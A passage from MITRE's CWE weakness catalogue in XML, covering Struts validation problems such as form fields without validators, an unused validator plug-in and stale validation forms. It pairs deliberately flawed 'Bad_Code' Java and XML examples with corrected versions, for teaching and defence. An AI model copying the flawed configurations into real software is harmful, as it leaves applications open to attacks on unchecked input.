								                <Comment>// getter and setter methods for private
									variables</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The validator XML file, validator.xml, provides the validation for the
							form fields of the RegistrationForm.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;form-validation&gt;</Code>
							              <Block>
								                <Code>&lt;formset&gt;</Code>
								                <Block>
									                  <Code>&lt;form name="RegistrationForm"&gt;</Code>
									                  <Block>
										                    <Code>&lt;field property="name" depends="required"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0" key="prompt.name"/&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="address" depends="required"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0"
												key="prompt.address"/&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="city" depends="required"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0" key="prompt.city"/&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="state" depends="required,mask"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0"
												key="prompt.state"/&gt;</Code>
											                      <Code>&lt;var&gt;</Code>
											                      <Block>
												                        <Code>&lt;var-name&gt;mask&lt;/var-name&gt;</Code>
												                        <Code>&lt;var-value&gt;[a-zA-Z]{2}&lt;/var-value&gt;</Code>
											                      </Block>
											                      <Code>&lt;/var&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="zipcode"
											depends="required,mask"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0"
												key="prompt.zipcode"/&gt;</Code>
											                      <Code>&lt;var&gt;</Code>
											                      <Block>
												                        <Code>&lt;var-name&gt;mask&lt;/var-name&gt;</Code>
												                        <Code>&lt;var-value&gt;\d{5}&lt;/var-value&gt;</Code>
											                      </Block>
											                      <Code>&lt;/var&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
									                  </Block>
									                  <Code>&lt;/form&gt;</Code>
								                </Block>
								                <Code>&lt;/formset&gt;</Code>
							              </Block>
							              <Code>&lt;/form-validation&gt;</Code>
						            </Block>
						            <Text>However, in the previous example the validator XML file,
							validator.xml, does not provide validators for all of the form fields in
							the RegistrationForm. Validator forms are only provided for the first
							five of the seven form fields. The validator XML file should contain
							validator forms for all of the form fields for a Struts ActionForm bean.
							The following validator.xml file for the RegistrationForm class contains
							validator forms for all of the form fields.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;form-validation&gt;</Code>
							              <Block>
								                <Code>&lt;formset&gt;</Code>
								                <Block>
									                  <Code>&lt;form name="RegistrationForm"&gt;</Code>
									                  <Block>
										                    <Code>&lt;field property="name" depends="required"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0" key="prompt.name"/&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="address" depends="required"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0"
												key="prompt.address"/&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="city" depends="required"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0" key="prompt.city"/&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="state" depends="required,mask"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0"
												key="prompt.state"/&gt;</Code>
											                      <Code>&lt;var&gt;</Code>
											                      <Block>
												                        <Code>&lt;var-name&gt;mask&lt;/var-name&gt;</Code>
												                        <Code>&lt;var-value&gt;[a-zA-Z]{2}&lt;/var-value&gt;</Code>
											                      </Block>
											                      <Code>&lt;/var&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="zipcode"
											depends="required,mask"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0"
												key="prompt.zipcode"/&gt;</Code>
											                      <Code>&lt;var&gt;</Code>
											                      <Block>
												                        <Code>&lt;var-name&gt;mask&lt;/var-name&gt;</Code>
												                        <Code>&lt;var-value&gt;\d{5}&lt;/var-value&gt;</Code>
											                      </Block>
											                      <Code>&lt;/var&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="phone" depends="required,mask"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0"
												key="prompt.phone"/&gt;</Code>
											                      <Code>&lt;var&gt;</Code>
											                      <Block>
												                        <Code>&lt;var-name&gt;mask&lt;/var-name&gt;</Code>
												                        <Code>&lt;var-value&gt;^([0-9]{3})(-)([0-9]{4}|[0-9]{4})$&lt;/var-value&gt;</Code>
											                      </Block>
											                      <Code>&lt;/var&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="email"
											depends="required,email"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0"
												key="prompt.email"/&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
									                  </Block>
									                  <Code>&lt;/form&gt;</Code>
								                </Block>
								                <Code>&lt;/formset&gt;</Code>
							              </Block>
							              <Code>&lt;/form-validation&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Struts: Form Field Without Validator</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="106" Name="Struts: Plug-in Framework not in Use" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>When an application does not use an input validation framework
					such as the Struts Validator, there is a greater risk of introducing weaknesses
					related to insufficient input validation.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>101</Relationship_Target_ID>
					          <!--Struts Validation Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Unchecked input is the leading cause of vulnerabilities in J2EE
						applications. Unchecked input leads to cross-site scripting, process
						control, and SQL injection vulnerabilities, among others. Although J2EE
						applications are not generally susceptible to memory corruption attacks, if
						a J2EE application interfaces with native code that does not perform array
						bounds checking, an attacker may be able to use an input validation mistake
						in the J2EE application to launch a buffer overflow attack. To prevent such
						attacks, use the Struts Validator to validate all program input before it is
						processed by the application. Ensure that there are no holes in your
						configuration of the Struts Validator. Example uses of the validator include
						checking to ensure that:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>Phone number fields contain only valid characters in phone
							numbers</Text>
						            <Text>Boolean values are only "T" or "F"</Text>
						            <Text>Free-form strings are of a reasonable length and composition</Text>
					          </Block>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Use an input validation framework such as Struts.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example the class RegistrationForm is a Struts
						framework ActionForm Bean that will maintain user input data from a
						registration webpage for an online business site. The user will enter
						registration data and, through the Struts framework, the RegistrationForm
						bean will maintain the user data.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class RegistrationForm extends
								org.apache.struts.action.ActionForm {</Code>
							              <Code/>
							              <Block>
								                <Comment>// private variables for registration form</Comment>
								                <Code>private String name;</Code>
								                <Code>private String email;</Code>
								                <Code>...</Code>
								                <Code/>
								                <Code>public RegistrationForm() {</Code>
								                <Block>
									                  <Code>super();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// getter and setter methods for private
									variables</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
						            </Block>
						            <Text>However, the RegistrationForm class extends the Struts ActionForm
							class which does use the Struts validator plug-in to provide validator
							capabilities. In the following example, the RegistrationForm Java class
							extends the ValidatorForm and Struts configuration XML file,
							struts-config.xml, instructs the application to use the Struts validator
							plug-in.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class RegistrationForm extends
								org.apache.struts.validator.ValidatorForm {</Code>
							              <Code/>
							              <Block>
								                <Comment>// private variables for registration form</Comment>
								                <Code>private String name;</Code>
								                <Code>private String email;</Code>
								                <Code>...</Code>
								                <Code/>
								                <Code>public RegistrationForm() {</Code>
								                <Block>
									                  <Code>super();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public ActionErrors validate(ActionMapping mapping,
									HttpServletRequest request) {...}</Code>
								                <Code/>
								                <Comment>// getter and setter methods for private
									variables</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The plug-in tag of the Struts configuration XML file includes the name
							of the validator plug-in to be used and includes a set-property tag to
							instruct the application to use the file, validator-rules.xml, for
							default validation rules and the file, validation.XML, for custom
							validation.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;struts-config&gt;</Code>
							              <Block>
								                <Code>&lt;form-beans&gt;</Code>
								                <Block>
									                  <Code>&lt;form-bean name="RegistrationForm"
										type="RegistrationForm"/&gt;</Code>
								                </Block>
								                <Code>&lt;/form-beans&gt;</Code>
								                <Code/>
								                <Code>...</Code>
								                <Code/>
								                <Code>&lt;!-- ========================= Validator plugin
									================================= --&gt;</Code>
								                <Code>&lt;plug-in
									className="org.apache.struts.validator.ValidatorPlugIn"&gt;</Code>
								                <Block>
									                  <Code>&lt;set-property</Code>
									                  <Block>
										                    <Code>property="pathnames"</Code>
										                    <Code>value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/&gt;</Code>
									                  </Block>
								                </Block>
								                <Code>&lt;/plug-in&gt;</Code>
							              </Block>
							              <Code/>
							              <Code>&lt;/struts-config&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Struts: Plug-in Framework Not In Use</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="107" Name="Struts: Unused Validation Form" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>An unused validation form indicates that validation logic is
					not up-to-date.</Description_Summary>
				        <Extended_Description>
					          <Text>It is easy for developers to forget to update validation logic when they
						remove or rename action form mappings. One indication that validation logic
						is not being properly maintained is the presence of an unused validation
						form.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>101</Relationship_Target_ID>
					          <!--Struts Validation Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Remove the unused Validation Form from the validation.xml file.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example the class RegistrationForm is a Struts
						framework ActionForm Bean that will maintain user input data from a
						registration webpage for an online business site. The user will enter
						registration data and, through the Struts framework, the RegistrationForm
						bean will maintain the user data in the form fields using the private member
						variables. The RegistrationForm class uses the Struts validation capability
						by extending the ValidatorForm class and including the validation for the
						form fields within the validator XML file, validator.xml.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class RegistrationForm extends
								org.apache.struts.validator.ValidatorForm {</Code>
							              <Code/>
							              <Block>
								                <Comment>// private variables for registration form</Comment>
								                <Code>private String name;</Code>
								                <Code>private String address;</Code>
								                <Code>private String city;</Code>
								                <Code>private String state;</Code>
								                <Code>private String zipcode;</Code>
								                <Comment>// no longer using the phone form field</Comment>
								                <Comment>// private String phone;</Comment>
								                <Code>private String email;</Code>
								                <Code/>
								                <Code>public RegistrationForm() {</Code>
								                <Block>
									                  <Code>super();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// getter and setter methods for private
									variables</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;form-validation&gt;</Code>
							              <Block>
								                <Code>&lt;formset&gt;</Code>
								                <Block>
									                  <Code>&lt;form name="RegistrationForm"&gt;</Code>
									                  <Block>
										                    <Code>&lt;field property="name" depends="required"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0" key="prompt.name"/&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="address" depends="required"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0"
												key="prompt.address"/&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="city" depends="required"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0" key="prompt.city"/&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="state" depends="required,mask"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0"
												key="prompt.state"/&gt;</Code>
											                      <Code>&lt;var&gt;</Code>
											                      <Block>
												                        <Code>&lt;var-name&gt;mask&lt;/var-name&gt;</Code>
												                        <Code>&lt;var-value&gt;[a-zA-Z]{2}&lt;/var-value&gt;</Code>
											                      </Block>
											                      <Code>&lt;/var&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="zipcode"
											depends="required,mask"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0"
												key="prompt.zipcode"/&gt;</Code>
											                      <Code>&lt;var&gt;</Code>
											                      <Block>
												                        <Code>&lt;var-name&gt;mask&lt;/var-name&gt;</Code>
												                        <Code>&lt;var-value&gt;\d{5}&lt;/var-value&gt;</Code>
											                      </Block>
											                      <Code>&lt;/var&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="phone" depends="required,mask"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0"
												key="prompt.phone"/&gt;</Code>
											                      <Code>&lt;var&gt;</Code>
											                      <Block>
												                        <Code>&lt;var-name&gt;mask&lt;/var-name&gt;</Code>
												                        <Code>&lt;var-value&gt;^([0-9]{3})(-)([0-9]{4}|[0-9]{4})$&lt;/var-value&gt;</Code>
											                      </Block>
											                      <Code>&lt;/var&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
										                    <Code>&lt;field property="email"
											depends="required,email"&gt; </Code>
										                    <Block>
											                      <Code>&lt;arg position="0"
												key="prompt.email"/&gt;</Code>
										                    </Block>
										                    <Code>&lt;/field&gt;</Code>
									                  </Block>
									                  <Code>&lt;/form&gt;</Code>
								                </Block>
								                <Code>&lt;/formset&gt;</Code>
							              </Block>
							              <Code>&lt;/form-validation&gt;</Code>
						            </Block>
						            <Text>However, the validator XML file, validator.xml, for the
							RegistrationForm class includes the validation form for the user input
							form field "phone" that is no longer used by the input form and the
							RegistrationForm class. Any validation forms that are no longer required
							should be removed from the validator XML file, validator.xml.</Text>
						            <Text>The existence of unused forms may be an indication to attackers that
							this code is out of date or poorly maintained.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Struts: Unused Validation Form</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="108" Name="Struts: Unvalidated Action Form" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Every Action Form must have a corresponding validation
					form.</Description_Summary>
				        <Extended_Description>
					          <Text>If a Struts Action Form Mapping specifies a form, it must have a
						validation form defined under the Struts Validator.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>101</Relationship_Target_ID>
					          <!--Struts Validation Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>An action or a form may perform validation in other ways, but the Struts
						Validator provides an excellent way to verify that all input receives at
						least a basic level of validation. Without this approach, it is difficult,
						and often impossible, to establish with a high level of confidence that all
						input is validated.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If an action form mapping does not have a validation form defined, it
							may be vulnerable to a number of attacks that rely on unchecked input.
							Unchecked input is the root cause of some of today's worst and most
							common software security problems. Cross-site scripting, SQL injection,
							and process control vulnerabilities all stem from incomplete or absent
							input validation.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
